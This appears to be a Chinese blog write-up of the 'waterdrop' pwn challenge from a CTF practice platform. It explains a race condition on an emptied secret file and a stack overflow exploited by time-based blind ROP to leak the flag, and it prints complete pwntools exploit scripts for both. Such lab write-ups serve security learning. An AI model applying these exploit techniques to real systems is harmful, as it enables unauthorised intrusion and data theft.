攻防世界PWN之waterdrop题解(条件竞争+pwn的盲注)

161 篇文章 9 订阅
161 篇文章 9 订阅

Waterdrop

首先,我们检查一下程序的保护机制

解法一

然后,我们用IDA分析一下,在guess_secret函数里,存在一个伪条件竞争的漏洞

V11为有符号数,而j为无符号数,v11如果为负数,比如-1,那么根j比较时,v11会先转成无符号数,因此变成最大值。那么循环就要很多次,导致结束这个需要循环有一定的时间。

然后,我们注意到openflag里有O_TRUNC标志位,那么会导致文件在打开时,原先内容清空。

也就是在执行循环时,/tmp/secret文件内容是空的,此时我们同时再开另一个线程去连接,输出次数1次,很快完成,然后读取secret文件内容为空,把16个空字节进行MD5加密,得到密码。因此,我们只要在第二个线程输入16个空字节进行MD5加密的结果,即可执行后门函数,显示出flag。

那么,我们的exp脚本

#coding:utf8
from pwn import *
import hashlib
#伪条件竞争
sh1 = process('./waterdrop')
sh2 = process('./waterdrop')

def init_connection(sh):
   sh.send('RPCM')
   sh.send(p32(0))
   sh.send(p32(666,endian = 'big'))

def guess(sh,times):
   sh.sendlineafter('please input your name','zhaohai')
   sh.sendlineafter('Do you want to guess my secert?','y')
   sh.sendlineafter('Input how many rounds do you want to encrypt the secert:',str(times))
   #sh.sendafter('Try to guess the md5 of the secert',secret)

#初始化连接
init_connection(sh1)
init_connection(sh2)
guess(sh1,-1)
guess(sh2,1)
m = hashlib.md5()
m.update('\x00'*0x10)
sh2.sendafter('Try to guess the md5 of the secert',m.digest())

sh2.interactive()

解法二

程序还存在另外一个漏洞

栈溢出,但是关闭了文件描述符0和1,并且使用了沙盒,限制只能使用open和read。并且本题也反弹不了shell。因为glibc并没有静态编译到这个二进制文件,导致很多函数我们不知道地址,也没法泄露。就犹如黑盒一样。

我们借鉴web攻击的思想,即盲注。

在csu_init处,有这么一句代码很关键

Rbx和rbp我们都可以控制,假如,我们让rbp里保存着flag内容的一个字符的值,然后,我们控制rbx的值,每次尝试给rbx不同的字符值,如果rbx和rbp里值一样,说明我们猜对了这个字符,那么会执行下面几个pop,然后退出函数,我们在ret时,ropsleep函数,休眠几秒。如果rbx和rbp不一样,则继续向上执行循环,最后到call qword ptr[r12+rbx*12]时崩溃。

那么,我们就可以判断脚本与服务器断开的时间长短,来判断我们是否猜对了当前的字符。正好,本题也有sleep函数,并且没有禁用sleep。

为了让rbp里保存flag中的一个字符的值,我们要保证rbp寄存器里其他位置为0

 

为了读取flag文件里接下来的一个字符存储到rbp里,我们得用一点技巧,这种技巧有点像物理里面的相对论。

Read时的参数因这样变化

  1. #通过将存储flag的地址位置上移动,达到读取下一个字符的作用  
  2. rop += p64(0x1+index) + p64(bss_addr-index) + p64(0)  
  • 我们读取1个字符,存储到bss_addr处
  • 我们读取2个字符,存储到bss_addr-1处
  • 我们读取3个字符,存储到bss_addr-2处

这样,对于bss_addr处,这里始终只保存着一个字符。并且是我们需要的下一个字符。

因为,我们要把flag的内容写到一个地方,而PIE没开,我们就可以写到我们已知的bss段上,然而要把flag里的字符放rbp里,怎么办,单纯的pop_rbp不可行,我们应该利用栈转移,转移到bss_addr时,会pop rbp,然后会继续执行bss_addr+处的rop因此,我们还需在bss_addr+8处布置剩下的rop。而程序一开始提供了写bss的功能

综上,我们的exp脚本

#coding:utf8
from pwn import *
import time

elf = ELF('./waterdrop')
open_plt = elf.plt['open']
read_got = elf.got['read']
sleep_plt = elf.plt['sleep']
bss_addr = 0x607220
flag_str = 0x404C53
pop_rdi = 0x404B23
#pop rsi;pop r15;ret
pop_rsi = 0x404B21
leave_ret = 0x40177a
csu_pop = 0x404B1A
csu_call = 0x404B00
cmp_rbx_rbp = 0x404B11

def init_connection():
   global sh
   sh = process('./waterdrop')
   sh.send('RPCM')
   sh.send(p32(0))
   sh.send(p32(666,endian = 'big'))

def stackoverflow(payload):
   #盲注成功,休眠10s,不成功,崩溃
   bss_rop = '\x00'*8 + p64(cmp_rbx_rbp) + p64(0)*7 + p64(pop_rdi) + p64(10) + p64(sleep_plt)
   sh.sendlineafter('please input your name',bss_rop)
   sh.sendlineafter('Do you want to guess my secert?','n')
   sh.send(payload)

#flag里面可能出现的字符
possible_char = []
for x in range(ord('a'),ord('z')+1):
   possible_char.append(chr(x))
for x in range(0,10):
   possible_char.append(str(x))
possible_char.append('{')
possible_char.append('}')
possible_char.append('\x00')

OK = False
flag = ''
index = 0
while not OK:
   for guess_char in possible_char:
      print 'guess (',index,') ',guess_char
      init_connection()
      #open('flag',0)
      rop = p64(pop_rdi) + p64(flag_str) + p64(pop_rsi) + p64(0)*2 + p64(open_plt)
      #ret2csu
      #read(fd=0,bss_addr,1)
      rop += p64(csu_pop)
      rop += p64(0) + p64(1)
      rop += p64(read_got)
      #通过将存储flag的地址位置上移动,达到读取下一个字符的作用
      rop += p64(0x1+index) + p64(bss_addr-index) + p64(0)
      rop += p64(csu_call)
      rop += p64(0)
      #rbx = guess_char
      rop += p64(ord(guess_char))
      #rbp
      rop += p64(bss_addr)
      rop += p64(0)*4
      #执行完rop后栈转移到bss上
      payload = 'a'*0x89 + rop + p64(leave_ret)
      stackoverflow(payload)
      sh.recv()
      start = time.time()
      sh.can_recv_raw(timeout = 4)
      end = time.time()
      #print 'time=',end - start
      sh.close()
      if end - start > 3:
         if guess_char == '\x00':
            OK = True
         flag += guess_char
         print 'success guess char at(',index,')'
         index+=1
         break;
   print 'flag=',flag
sh.interactive()

假如没有sleep函数,怎么办?

我们仍然可以盲注,我们可以利用栈转移构成一个死循环。当我们执行到最后时,程序把栈转移到前面,这样一直在做重复的事情,使得程序不结束,达到延时的目的。具体可以自行研究。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值